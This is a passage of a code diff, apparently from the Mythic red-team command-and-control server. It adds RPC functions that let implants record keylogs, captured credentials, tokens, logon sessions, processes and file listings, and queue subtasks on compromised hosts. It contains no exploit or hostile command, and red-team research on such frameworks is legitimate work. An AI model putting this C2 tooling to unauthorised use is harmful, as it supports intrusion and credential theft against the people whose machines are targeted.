+ artifact_host = host.upper() if host is not None else task.callback.host.upper()
+ art = await app.db_objects.create(
+ db_model.TaskArtifact,
+ task=task,
+ artifact_instance=artifact.encode("utf-8"),
+ artifact=base_artifact,
+ host=artifact_host,
+ operation=task.callback.operation,
)
- return message
+ asyncio.create_task(log_to_siem(mythic_object=art, mythic_source="artifact_new"))
+ return {"status": "success"}
+ except Exception as e:
+ return {"status": "error", "error": "failed to create task artifact: " + str(e)}
-async def encrypt_bytes(request):
- # {
- # "action": "encrypt_bytes",
- # "data": base64 of bytes to encrypt,
- # "task_id": self.task_id
- # "with_uuid": include the UUID or not
- # }
+async def create_payload_on_host(task_id: int, payload_uuid: str, host: str) -> dict:
+ """
+ Register within Mythic that the specified payload exists on the specified host as a result of this tasking
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param payload_uuid: The payload that will be associated with the host
+ :param host: The host that will have the payload on it
+ :return: success or error (nothing in the `response` attribute)
+ """
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- message = await encrypt(task.callback.agent_callback_id, base64.b64decode(request["data"]), request["with_uuid"])
- return {"status": "success", "response": {"data": message}}
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ payload = await app.db_objects.get(db_model.payload_query, uuid=payload_uuid, operation=task.operation)
+ payload_on_host = await app.db_objects.create(db_model.PayloadOnHost, payload=payload,
+ host=host.upper(), operation=task.operation, task=task)
+ return {"status": "success"}
+ except Exception as e:
+ return {"status": "error", "error": "Failed to register payload on host:\n" + str(e)}
+
+
+async def get_tasks(task_id: int, host: str = None, ) -> dict:
+ """
+ Get all of the currently running tasks on the current host or on a specific host
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param host: The name of the host to check for running tasks
+ :return: An array of dictionaries representing the tasks running
+ """
+ # this needs host name, task_id
+ # this returns a list of all jobs that are not errored or completed on that host for the task's callback
+ # and for each one returns the security context (which token is associated with each job)
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ if host is None:
+ search_host = task.callback.host
+ else:
+ search_host = host.upper()
+ tasks = await app.db_objects.execute(db_model.task_query.where(
+ (db_model.Callback.host == search_host) &
+ (db_model.Task.status != "error") &
+ (db_model.Task.completed == False)
+ ))
+ response = []
+ for t in tasks:
+ response.append(t.to_json())
+ return {"status": "success", "response": response}
except Exception as e:
return {"status": "error", "error": str(e)}
-async def encrypt_bytes_c2_rpc(request):
- # {
- # "action": "encrypt_bytes",
- # "data": base64 of bytes to encrypt,
- # "uuid": callback uuid
- # "with_uuid": bool
- # }
+async def create_token(task_id: int, TokenId: int, host: str = None, **kwargs) -> dict:
+ """
+ Create or update a token on a host. The `TokenId` is a unique identifier for the token on the host and is how Mythic identifies tokens as well. A token's `AuthenticationId` is used to link a Token to a LogonSession per Windows documentation, so when setting that value, if the associated LogonSession object doesnt' exist, Mythic will make it.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param TokenId: The integer token identifier value that uniquely identifies this token on this host
+ :param host: The host where the token exists
+ :param kwargs: The `Mythic/mythic-docker/app/database_models/model.py` Token class has all of the possible values you can set when creating/updating tokens. There are too many to list here individually, so a generic kwargs is specified.
+ :return: Dictionary representation of the token created
+ """
try:
- message = await encrypt(request["uuid"], base64.b64decode(request["data"]), request["with_uuid"])
- return {"status": "success", "response": message}
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ token_host = host.upper() if host is not None else task.callback.host
except Exception as e:
- return {"status": "error", "error": str(e)}
+ return {"status": "error", "error": "Failed to find task"}
+ try:
+ token = await app.db_objects.get(db_model.token_query, TokenId=TokenId, host=host.upper(), deleted=False)
+ except Exception as e:
+ token = await app.db_objects.create(db_model.Token, TokenId=TokenId, host=token_host, task=task)
+ try:
+ for k, v in kwargs.items():
+ if hasattr(token, k):
+ # we want to handle foreign keys separately
+ if k == "AuthenticationId":
+ try:
+ session = await app.db_objects.get(db_model.logonsession_query, LogonId=v, host=token_host, deleted=False)
+ except Exception as e:
+ session = await app.db_objects.create(db_model.LogonSession, LogonId=v, host=token_host, task=task)
+ setattr(token, k, session)
+ else:
+ setattr(token, k, v)
+ await app.db_objects.update(token)
+ return {"status": "success", "response": token.to_json()}
+ except Exception as e:
+ return {"status": "error", "error": "Failed to create/update token:\n" + str(e)}
-async def decrypt(callback_uuid: str, data: bytes, with_uuid: bool):
- from app.api.callback_api import get_encryption_data
- dec_key = await get_encryption_data(callback_uuid)
- dec_message = await crypt.decrypt_message(data, dec_key, with_uuid, False)
- if dec_message == b'' or dec_message == {}:
- callback_query = await db_model.callback_query()
- callback = await db_objects.get(callback_query, agent_callback_id=callback_uuid)
- await db_objects.create(
- db_model.OperationEventLog,
- level="warning",
- operation=callback.operation,
- message="Payload or C2 profile tried to have Mythic decrypt a message of type: {}, but Mythic doesn't know that type".format(
- dec_key["type"]),
- )
- return base64.b64encode(dec_message).decode()
+async def delete_token(TokenId: int, host: str) -> dict:
+ """
+ Mark a specific token as "deleted" on a specific host.
+ :param TokenId: The token that should be deleted
+ :param host: The host where this token exists
+ :return: success or error (nothing in the `response` attribute)
+ """
+ try:
+ token = await app.db_objects.get(db_model.token_query, TokenId=TokenId, host=host.upper())
+ token.deleted = True
+ await app.db_objects.update(token)
+ except Exception as e:
+ return {"status": "error", "error": "Failed to find/delete token:\n" + str(e)}
+ return {"status": "success"}
+
+
+async def create_logon_session(task_id: int, LogonId: int, host: str = None, **kwargs) -> dict:
+ """
+ Create a new logon session for this host
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param LogonId: The integer logon identifier value that uniquely identifies this logon session on this host
+ :param host: The host where this logon session exists
+ :param kwargs: The `Mythic/mythic-docker/app/database_models/model.py` LogonSession class has all of the possible values you can set when creating/updating logon sessions. There are too many to list here individually, so a generic kwargs is specified.
+ :return: Success or Error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ session_host = host.upper() if host is not None else task.callback.host
+ try:
+ session = await app.db_objects.get(db_model.logonsession_query, LogonId=LogonId, host=session_host, deleted=False)
+ except Exception as e:
+ session = await app.db_objects.create(db_model.LogonSession, LogonId=LogonId, host=session_host,
+ task=task)
+ for k, v in kwargs.items():
+ if hasattr(session, k):
+ setattr(session, k, v)
+ await app.db_objects.update(session)
+ return {"status": "success"}
+ except Exception as d:
+ return {"status": "error", "error": "Failed to create logon session:\n" + str(d)}
-async def decrypt_bytes(request):
- # {
- # "action": "decrypt_bytes",
- # "data": base64 of bytes to decrypt,
- # "task_id": self.task_id
- # "with_uuid": does the message have a UUID in it or not
- # }
+async def delete_logon_session(LogonId: int, host: str) -> dict:
+ """
+ Mark a specified logon session as "deleted" on a specific host
+ :param LogonId: The Logon Session that should be deleted
+ :param host: The host where the logon session used to be
+ :return: Success or Error (nothing in the `response` attribute)
+ """
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- dec_message = await decrypt(task.callback.agent_callback_id, base64.b64decode(request["data"]), request["with_uuid"])
- return {
- "status": "success",
- "response": {"data": dec_message},
- }
+ session = await app.db_objects.get(db_model.logonsession_query, LogonId=LogonId, host=host.upper())
+ session.deleted = True
+ await app.db_objects.update(session)
+ return {"status": "success"}
except Exception as e:
- return {"status": "error", "error": str(e)}
+ return {"status": "error", "error": "Failed to find/delete that logon session on that host:\n" + str(e)}
-async def decrypt_bytes_c2_rpc(request):
- # {
- # "action": "decrypt_bytes",
- # "data": base64 of bytes to decrypt,
- # "uuid": callback uuid
- # "with_uuid": does the message have a UUID in it or not
- # }
+async def create_callback_token(task_id: int, TokenID: int, host: str = None) -> dict:
+ """
+ Associate a token with a callback for usage in further tasking.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param TokenID: The token you want to associate with this callback
+ :param host: The host where the token exists
+ :return: Success or Error (nothing in the `response` attribute)
+ """
try:
- dec_message = await decrypt(request["uuid"], base64.b64decode(request["data"]), request["with_uuid"])
- return {
- "status": "success",
- "response": dec_message,
+ task = await app.db_objects.get(db_model.token_query, id=task_id)
+ token_host = host.upper() if host is not None else task.callback.host
+ try:
+ token = await app.db_objects.get(db_model.token_query, TokenId=TokenID, host=token_host, deleted=False)
+ except Exception as e:
+ token = await app.db_objects.create(db_model.Token, TokenId=TokenID, host=token_host, task=task)
+ # then try to associate it with our callback
+ try:
+ callbacktoken = await app.db_objects.get(db_model.callbacktoken_query, token=token, callback=task.callback,
+ deleted=False, host=token_host)
+ except Exception as e:
+ callbacktoken = await app.db_objects.create(db_model.CallbackToken, token=token, callback=task.callback,
+ task=task, host=token_host)
+ return {"status": "success"}
+ except Exception as d:
+ return {"status": "error", "error": "Failed to get token and associate it:\n" + str(d)}
+
+
+async def delete_callback_token(task_id: int, TokenID: int, host: str = None) -> dict:
+ """
+ Mark a callback token as no longer being associated
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param TokenID: The Token you want to disassociate from the task's callback
+ :param host: The host where the token exists
+ :return: Success or Error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.token_query, id=task_id)
+ token_host = host.upper() if host is not None else task.callback.host
+ try:
+ token = await app.db_objects.get(db_model.token_query, TokenId=TokenID, host=token_host)
+ callbacktoken = await app.db_objects.get(db_model.callbacktoken_query, token=token, callback=task.callback,
+ deleted=False, host=token_host)
+ callbacktoken.deleted = True
+ await app.db_objects.update(callbacktoken)
+ return {"status": "success"}
+ except Exception as e:
+ return {"status": "error", "error": "Failed to find and delete callback token:\n" + str(e)}
+ except Exception as d:
+ return {"status": "error", "error": "Failed to find task:\n" + str(d)}
+
+
+async def create_processes_rpc(task_id: int, processes: dict) -> dict:
+ """
+ Create processes in bulk. The parameters in the "processes" dictionary are the same as those in the `create_process` RPC call.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param processes: Dictionary of the processes you want to create - the key value pairs are the same as the parameters to the `create_process` RPC call.
+ :return: Success or Error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ return await create_processes(processes, task)
+ except Exception as e:
+ return {"status": "error", "error": "Failed to get task or create processes:\n" + str(e)}
+
+
+async def create_process(task_id: int, host: str, process_id: int, parent_process_id: int = None,
+ architecture: str = None, name: str = None, bin_path: str = None,
+ user: str = None, command_line: str = None, integrity_level: int = None,
+ start_time: str = None, description: str = None, signer: str = None) -> dict:
+ """
+ Create a new process within Mythic.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param host: The host where this process exists
+ :param process_id: The process ID
+ :param parent_process_id: The process's parent process ID
+ :param architecture: The architecture for the process (x86, x64, arm, etc)
+ :param name: The name of the process
+ :param bin_path: The path to the binary that's executed
+ :param user: The user context that the process is executing
+ :param command_line: The command line that's spawned with the process
+ :param integrity_level: The integrity level of the process
+ :param start_time: When the process started
+ :param description: The description of the process
+ :param signer: The process' signing information
+ :return: Success or Error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ process_data = {
+ "host": host.upper(),
+ "process_id": process_id,
+ "parent_process_id": parent_process_id,
+ "architecture": architecture,
+ "name": name,
+ "bin_path": bin_path,
+ "user": user,
+ "command_line": command_line,
+ "integrity_level": integrity_level,
+ "start_time": start_time,
+ "description": description,
+ "signer": signer
}
+ return await create_processes([process_data], task)
except Exception as e:
- return {"status": "error", "error": str(e)}
+ return {"status": "error", "error": "Failed to create process:\n" + str(e)}
-async def user_output(request):
+async def create_processes(request, task):
+ # perform the same additions that you could do from request_api.py to add processes
+ # just offer as RPC mechanism
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- resp = await db_objects.create(
- db_model.Response,
- task=task,
- response=request["user_output"].encode("unicode-escape"),
- )
+ host = task.callback.host
+ if "host" in request:
+ host = request["host"].upper()
+ timestamp = datetime.datetime.utcnow()
+ bulk_insert = []
+ for p in request["processes"]:
+ bulk_insert.append(
+ {
+ "task": task,
+ "host": host,
+ "timestamp": timestamp,
+ "operation": task.callback.operation,
+ "process_id": p["process_id"],
+ "parent_process_id": p["parent_process_id"] if "parent_process_id" in p else None,
+ "architecture": p["architecture"] if "architecture" in p else None,
+ "name": p["name"] if "name" in p else None,
+ "bin_path": p["bin_path"] if "bin_path" in p else None,
+ "user": p["user"] if "user" in p else None,
+ "command_line": p["command_line"] if "command_line" in p else None,
+ "integrity_level": p["integrity_level"] if "integrity_level" in p else None,
+ "start_time": p["start_time"] if "start_time" in p else None,
+ "description": p["description"] if "description" in p else None,
+ "signer": p["signer"] if "signer" in p else None
+ }
+ )
+ await app.db_objects.execute(db_model.Process.insert_many(bulk_insert))
return {"status": "success"}
except Exception as e:
+ logger.warning("rabbitmq_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": str(e)}
-async def task_update_callback(request):
+async def search_processes(callback, **request):
+ clauses = []
+ for k, v in request.items():
+ if k != "operation":
+ if hasattr(db_model.Process, k):
+ clauses.append(getattr(db_model.Process, k).regexp(v))
+ results = await app.db_objects.execute(db_model.process_query.where(
+ (db_model.Process.operation == callback.operation) &
+ reduce(operator.and_, clauses)
+ ))
+ result = {"status": "success", "response": [r.to_json() for r in results]}
+ return result
+
+
+async def search_tokens(callback, **request):
+ clauses = []
+ for k, v in request.items():
+ if k == "AuthenticationId":
+ clauses.append(db_model.LogonSession.id == v)
+ elif hasattr(db_model.Token, k):
+ if isinstance(getattr(db_model.Token, k), TextField):
+ clauses.append(getattr(db_model.Token, k).regexp(v))
+ elif isinstance(getattr(db_model.Token, k), BooleanField):
+ clauses.append(getattr(db_model.Token, k) == v)
+ elif isinstance(getattr(db_model.Token, k), IntegerField):
+ clauses.append(getattr(db_model.Token, k).regexp(v))
+ results = await app.db_objects.execute(db_model.token_query.where(
+ (db_model.Callback.operation == callback.operation) &
+ reduce(operator.and_, clauses)
+ ))
+ result = {"status": "success", "response": [r.to_json() for r in results]}
+ return result
+
+
+async def search_file_browser(callback, **request):
+ clauses = []
+ for k, v in request.items():
+ if hasattr(db_model.Token, k):
+ if isinstance(getattr(db_model.Token, k), TextField):
+ clauses.append(getattr(db_model.Token, k).regexp(v))
+ elif isinstance(getattr(db_model.Token, k), BooleanField):
+ clauses.append(getattr(db_model.Token, k) == v)
+ elif isinstance(getattr(db_model.Token, k), IntegerField):
+ clauses.append(getattr(db_model.Token, k).regexp(v))
+ results = await app.db_objects.execute(db_model.filebrowserobj_query.where(
+ (db_model.FileBrowserObj.operation == callback.operation) &
+ reduce(operator.and_, clauses)
+ ))
+ result = {"status": "success", "response": [r.to_json() for r in results]}
+ return result
+
+
+async def search_database(table: str, task_id: int = None, callback_id: int = None, **kwargs) -> dict:
+ """
+ Search the Mythic database for some data. Data is searched by regular expression for the fields specified. Because the available fields depends on the table you're searching, that argument is a generic python "kwargs" value.
+ :param task_id: The ID number of the task performing this action (task.id) - if this isn't supplied, callback_id must be supplied
+ :param callback_id: The ID number of the callback performing this action - if this isn't supplied, task_id must be supplied
+ :param table: The name of the table you want to query. Currently only options are: process, token, file_browser. To search files (uploads/downloads/hosted), use `get_file`
+ :param kwargs: These are the key=value pairs for how you're going to search the table specified. For example, searching processes where the name of "bob" and host that starts with "spooky" would have kwargs of: name="bob", host="spooky*"
+ :return: an array of dictionaries that represent your search. If your search had no results, you'll get back an empty array
+ """
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- from app.api.callback_api import update_callback
+ if task_id is not None:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ callback = task.callback
+ elif callback_id is not None:
+ callback = await app.db_objects.get(db_model.callback_query, id=callback_id)
+ else:
+ return {"status": "error", "error": "task_id or callback_id must be supplied", "response": []}
+ # this is the single entry point to do queries across the back-end database
+ # for RPC calls from payload types
+ if table.lower() == "process":
+ return await search_processes(callback, **kwargs)
+ elif table.lower() == "token":
+ return await search_tokens(callback, **kwargs)
+ elif table.lower() == "file_browser":
+ return await search_file_browser(callback, **kwargs)
+ else:
+ return {"status": "error", "error": "Search not supported yet for that table", "response": []}
+ except Exception as e:
+ return {"status": "error", "error": "Failed to find task or search database:\n" + str(e), "response": []}
- status = await update_callback(
- request["callback_info"], task.callback.agent_callback_id
+
+async def delete_file_browser(task_id: int, file_path: str, host: str = None) -> dict:
+ """
+ Mark a file in the file browser as deleted (typically as part of a manual removal via a task)
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param file_path: The full path to the file that's being removed
+ :param host: The host where the file existed. If you don't specify a host, the callback's host is used
+ :return: Success or Error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ file_host = host.upper() if host is not None else task.callback.host
+ try:
+ fobj = await app.db_objects.get(
+ db_model.filebrowserobj_query,
+ operation=task.callback.operation,
+ host=file_host,
+ full_path=file_path.encode("utf-8"),
+ deleted=False,
+ )
+ fobj.deleted = True
+ if not fobj.is_file:
+ await mark_nested_deletes(fobj, task.callback.operation)
+ await app.db_objects.update(fobj)
+ return {"status": "success"}
+ except Exception as e:
+ return {"status": "error", "error": "Failed to mark file as deleted:\n" + str(e)}
+ except Exception as d:
+ return {"status": "error", "error": "Failed to find task:\n" + str(d)}
+
+
+async def create_keylog(task_id: int, keystrokes: str, user: str = None, window_title: str = None) -> dict:
+ """
+ Create a new keylog entry in Mythic.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param keystrokes: The keys that are being registered
+ :param user: The user that performed the keystrokes. If you don't supply this, "UNKNOWN" will be used.
+ :param window_title: The title of the window where the keystrokes came from. If you don't supply this, "UNKNOWN" will be used.
+ :return: Success or Error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ rsp = await app.db_objects.create(
+ db_model.Keylog,
+ task=task,
+ window=window_title if window_title is not None else "UNKNOWN",
+ keystrokes=keystrokes.encode("utf-8"),
+ operation=task.callback.operation,
+ user=user if user is not None else "UNKNOWN",
)
- return status
+ asyncio.create_task(log_to_siem(mythic_object=rsp, mythic_source="keylog_new"))
+ return {"status": "success"}
except Exception as e:
- print("error in task_update:" + str(e))
return {"status": "error", "error": str(e)}
-async def register_artifact(request):
- # {"action": "register_artifact",
- # "task_id": self.task_id,
- # "host": host, (could be None)
- # "artifact_instance": artifact_instance,
- # "artifact": artifact_type
- # })
+async def create_credential(task_id: int, credential_type: str, account: str, realm: str, credential: str,
+ metadata: str = "", comment: str = None) -> dict:
+ """
+ Create a new credential within Mythic to be leveraged in future tasks
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param credential_type: The type of credential we're storing (plaintext, hash, ticket, certificate, token)
+ :param account: The account associated with the credential
+ :param realm: The realm for the credential (sometimes called the domain)
+ :param credential: The credential value itself
+ :param metadata: Any additional metadata you want to store about the credential
+ :param comment: Any comment you want to store about it the credential
+ :return: Success or Error (nothing in the `response` attribute)
+ """
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ from app.api.credential_api import create_credential_func
+ cred = {
+ "task": task,
+ "type": credential_type,
+ "account": account,
+ "realm": realm,
+ "credential": credential,
+ "comment": comment,
+ "metadata": metadata
+ }
+ await create_credential_func(task.operator, task.callback.operation, cred)
+ return {"status": "success"}
except Exception as e:
- return {"status": "error", "error": "failed to find task"}
- try:
+ return {"status": "error", "error": str(e)}
- # first try to look for the artifact type, if it doesn't exist, create it
- query = await db_model.artifact_query()
- artifact = await db_objects.get(query, name=request["artifact"].encode())
+
+async def create_file_browser(task_id: int, host: str, name: str, full_path: str, permissions: dict = None,
+ access_time: str = "", modify_time: str = "", comment: str = "",
+ is_file: bool = True, size: str = "", success: bool = True, files: [dict] = None,
+ update_deleted: bool = False) -> dict:
+ """
+ Add file browser content to the file browser user interface.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param host: Which host this data is from (useful for remote file listings)
+ :param name: Name of the file/folder that was listed
+ :param full_path: Full path of the file/folder that was listed (useful in case the operator said to ls `.` or a relative path)
+ :param permissions: Dictionary of permissions. The key/values here are completely up to you and are displayed as key/value pairs in the UI
+ :param access_time: String representation of when the file/folder was last accessed
+ :param modify_time: String representation of when the file/folder was last modified
+ :param comment: Any comment you might want to add to this file/folder
+ :param is_file: Is this a file?
+ :param size: Size of the file (can be an int or something human readable, like 10MB)
+ :param success: True/False if you successfully listed this file. A False value (like from an access denied) will appear as a red X in the UI
+ :param files: Array of dictionaries of information for all of the files in this folder (or an empty array of this is a file). Each dictionary has all of the same pieces of information as the main folder itself.
+ :param update_deleted: True or False indicating if this file browser data should be used to automatically update deleted files for the listed folder. This defaults to false, but if set to true and there are files that Mythic knows about for this folder that the passed-in data doesn't include, it will be marked as deleted.
+ :return: success or error (nothing in the `response` attribute)
+ """
+ if permissions is None:
+ permissions = {}
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ request = {
+ "host": host.upper(),
+ "name": name,
+ "full_path": full_path,
+ "permissions": permissions if permissions is not None else {},
+ "access_time": access_time,
+ "modify_time": modify_time,
+ "comment": comment,
+ "is_file": is_file,
+ "size": size,
+ "success": success,
+ "update_deleted": update_deleted,
+ "files": files if files is not None else []
+ }
+ from app.api.file_browser_api import store_response_into_filebrowserobj
+ status = await store_response_into_filebrowserobj(
+ task.callback.operation, task, request
+ )
+ return status
except Exception as e:
- artifact = await db_objects.create(db_model.Artifact, name=request["artifact"].encode())
+ return {"status": "error", "error": "Failed to find task or store data:\n" + str(e)}
+
+
+async def create_subtask(parent_task_id: int, command: str, params: str = "", files: dict = None,
+ subtask_callback_function: str = None, subtask_group_name: str = None, tags: [str] = None,
+ group_callback_function: str = None) -> dict:
+ """
+ Issue a new task to the current callback as a child of the current task.
+ You can use the "subtask_callback_function" to provide the name of the function you want to call when this new task enters a "completed=True" state.
+ If you issue create_subtask_group, the group name and group callback functions are propagated here
+ :param parent_task_id: The id of the current task (task.id)
+ :param command: The name of the command you want to use
+ :param params: The parameters you want to issue to that command
+ :param files: If you want to pass along a file to the task, provide it here (example provided)
+ :param subtask_callback_function: The name of the function to call on the _parent_ task when this function exits
+ :param subtask_group_name: An optional name of a group so that tasks can share a single callback function
+ :param tags: A list of strings of tags you want to apply to this new task
+ :param group_callback_function: If you're grouping tasks together, this is the name of the shared callback function for when they're all in a "completed=True" state
+ :return: Information about the task you just created
+ """
try:
- if "host" not in request or request["host"] is None or request["host"] == "":
- request["host"] = task.callback.host
- art = await db_objects.create(
- db_model.TaskArtifact,
- task=task,
- artifact_instance=request["artifact_instance"].encode(),
- artifact=artifact,
- host=request["host"].upper(),
- operation=task.callback.operation,
+ parent_task = await app.db_objects.get(db_model.task_query, id=parent_task_id)
+ operatoroperation = await app.db_objects.get(
+ db_model.operatoroperation_query, operator=parent_task.operator, operation=parent_task.callback.operation
)
- await log_to_siem(art.to_json(), mythic_object="artifact_new")
- return {"status": "success"}
+ if operatoroperation.base_disabled_commands is not None:
+ if command not in ["clear"]:
+ cmd = await app.db_objects.get(
+ db_model.command_query,
+ cmd=command,
+ payload_type=parent_task.callback.registered_payload.payload_type,
+ )
+ try:
+ disabled_command = await app.db_objects.get(
+ db_model.disabledcommandsprofile_query,
+ name=operatoroperation.base_disabled_commands.name,
+ command=cmd,
+ )
+ return {"status": "error", "error": "Not authorized to execute that command"}
+ except Exception as e:
+ pass
+ # if we create new files throughout this process, be sure to tag them with the right task at the end
+ data = {
+ "command": command,
+ "params": params,
+ "original_params": params,
+ "subtask_callback_function": subtask_callback_function,
+ "subtask_group_name": subtask_group_name,
+ "group_callback_function": group_callback_function,
+ "tags": tags if tags is not None else [],
+ "parent_task": parent_task
+ }
+ if files is not None and len(files) > 0:
+ data["params"] = json.loads(data["params"])
+ for f, v in files.items():
+ data["params"][f] = v
+ data["params"] = json.dumps(data["params"])
+ data.pop("files", None)
+ from app.api.task_api import add_task_to_callback_func
+ output = await add_task_to_callback_func(data, parent_task.callback.id, parent_task.operator, parent_task.callback)
+ if output["status"] == "success":
+ output.pop("status", None)
+ return {"status": "success", "response": output}
+ else:
+ return {"status": "error", "error": output["error"]}
except Exception as e:
- return {"status": "error", "error": "failed to create task artifact: " + str(e)}
+ return {"status": "error", "error": str(e)}
-async def register_payload_on_host(request):
- # {"action": "register_payload_on_host",
- # "task_id": self.task_id,
- # "host": host,
- # "uuid": payload uuid
- # })
+async def create_subtask_group(parent_task_id: int, tasks: [dict], subtask_group_name: str = None, tags: [str] = None,
+ group_callback_function: str = None) -> dict:
+ """
+ Create a group of subtasks at once and register a single callback function when the entire group is done executing.
+ :param parent_task_id: The id of the parent task (i.e. task.id)
+ :param tasks: An array of dictionaries representing the tasks to create. An example is shown below.
+ :param subtask_group_name: The name for the group. If one isn't provided, a random UUID will be used instead
+ :param tags: An optional list of tags to apply to all of the subtasks created.
+ :param group_callback_function: The name of the function to call in the _parent_ task when all of these subtasks are done.
+ :return: An array of dictionaries representing information about all of the subtasks created.
+ """
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
+ task_responses = []
+ overall_status = "success"
+ for t in tasks:
+ response = await create_subtask(
+ parent_task_id=parent_task_id,
+ command=t["command"],
+ params=t["params"],
+ files=t["files"] if "files" in t else None,
+ subtask_callback_function=t["subtask_callback_function"] if "subtask_callback_function" in t else None,
+ subtask_group_name=subtask_group_name,
+ group_callback_function=group_callback_function,
+ tags=tags
+ )
+ if response["status"] == "error":
+ overall_status = "error"
+ task_responses.append(response)
+ return {"status": overall_status, "response": task_responses}
except Exception as e:
- return {"status": "error", "error": "failed to find task"}
+ return {"status": "error", "error": str(e)}
+
+
+async def get_responses(task_id: int) -> dict:
+ """
+ For a given Task, get all of the user_output, artifacts, files, and credentials that task as created within Mythic
+ :param task_id: The TaskID you're interested in (i.e. task.id)
+ :return: A dictionary of the following format:
+ {
+ "user_output": array of dictionaries where each dictionary is user_output message for the task,
+ "artifacts": array of dictionaries where each dictionary is an artifact created for the task,
+ "files": array of dictionaries where each dictionary is a file registered as part of the task,
+ "credentials": array of dictionaries where each dictionary is a credential created as part of the task.
+ }
+ """
try:
- payloadquery = await db_model.payload_query()
- payload = await db_objects.get(payloadquery, uuid=request["uuid"], operation=task.operation)
- payload_on_host = await db_objects.create(db_model.PayloadOnHost, payload=payload,
- host=request["host"].upper().encode(), operation=task.operation, task=task)
- return {"status": "success"}
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ responses = await app.db_objects.prefetch(
+ db_model.response_query.where(db_model.Response.task == task).order_by(db_model.Response.id),
+ db_model.task_query
+ )
+ # get all artifacts associated with the task
+ artifacts = await app.db_objects.execute(db_model.taskartifact_query.where(
+ db_model.TaskArtifact.task == task
+ ))
+ # get all files associated with the task
+ files = await app.db_objects.execute(db_model.filemeta_query.where(
+ db_model.FileMeta.task == task
+ ))
+ # get all credentials associated with the task
+ credentials = await app.db_objects.execute(db_model.credential_query.where(
+ db_model.Credential.task == task
+ ))
+ response = {
+ "user_output": [r.to_json() for r in responses],
+ "artifacts": [a.to_json() for a in artifacts],
+ "files": [f.to_json() for f in files],
+ "credentials": [c.to_json() for c in credentials]
+ }
+ return {"status": "success", "response": response}
except Exception as e:
- return {"status": "error", "error": "Failed to find payload"}
+ return {"status": "error", "error": str(e)}
async def rabbit_c2_rpc_callback(
- exchange: aio_pika.Exchange, message: aio_pika.IncomingMessage
+ exchange: aio_pika.Exchange, message: aio_pika.IncomingMessage
):
with message.process():
- #print(message)
+ # print(message)
request = json.loads(message.body.decode())
if "action" in request:
- if request["action"] == "get_tasking":
- response = await get_tasking(request)
- elif request["action"] == "add_route":
- response = await add_route(request)
- elif request["action"] == "remove_route":
- response = await remove_route(request)
- elif request["action"] == "get_callback_info":
- response = await get_callback_info(request)
- elif request["action"] == "update_callback_info":
- response = await update_callback_info(request)
- elif request["action"] == "add_event_message":
+ if request["action"] == "add_event_message":
response = await add_event_message(request)
- elif request["action"] == "get_encryption_data":
- response = await get_encryption_data(request)
- elif request["action"] == "encrypt_bytes":
- response = await encrypt_bytes_c2_rpc(request)
- elif request["action"] == "decrypt_bytes":
- response = await decrypt_bytes_c2_rpc(request)
else:
response = {"status": "error", "error": "unknown action"}
- response = json.dumps(response).encode()
+ response = json.dumps(response).encode("utf-8")
else:
response = json.dumps(
{"status": "error", "error": "Missing action"}
- ).encode()
+ ).encode("utf-8")
try:
await exchange.publish(
aio_pika.Message(body=response, correlation_id=message.correlation_id),
@@ -848,17 +1720,16 @@ async def rabbit_c2_rpc_callback(
)
except Exception as e:
error = (
- "Exception trying to send message back to container for rpc! " + str(e)
+ "Exception trying to send message back to container for rpc! " + str(e)
)
error += "\nResponse: {}\nCorrelation_id: {}\n RoutingKey: {}".format(
str(response), message.correlation_id, message.reply_to
)
- operation_query = await db_model.operation_query()
- operations = await db_objects.execute(
- operation_query.where(db_model.Operation.complete == False)
+ operations = await app.db_objects.execute(
+ db_model.operation_query.where(db_model.Operation.complete == False)
)
for o in operations:
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
level="warning",
operation=o,
@@ -866,161 +1737,62 @@ async def rabbit_c2_rpc_callback(
)
-async def get_tasking(request):
- try:
- query = await db_model.callback_query()
- callback = await db_objects.get(query, agent_callback_id=request["uuid"])
- decrypted = {"action": "get_tasking", "tasking_size": request["tasking_size"]}
- from app.api.callback_api import get_agent_tasks, get_routable_messages
-
- response_data = await get_agent_tasks(decrypted, callback)
- delegates = await get_routable_messages(callback)
- if delegates is not None:
- response_data["delegates"] = delegates
- from app.crypto import encrypt_AES256
- from app.api.callback_api import get_encryption_data
-
- enc_key = await get_encryption_data(callback.agent_callback_id)
- if enc_key["type"] is not None:
- if enc_key["type"] == "AES256":
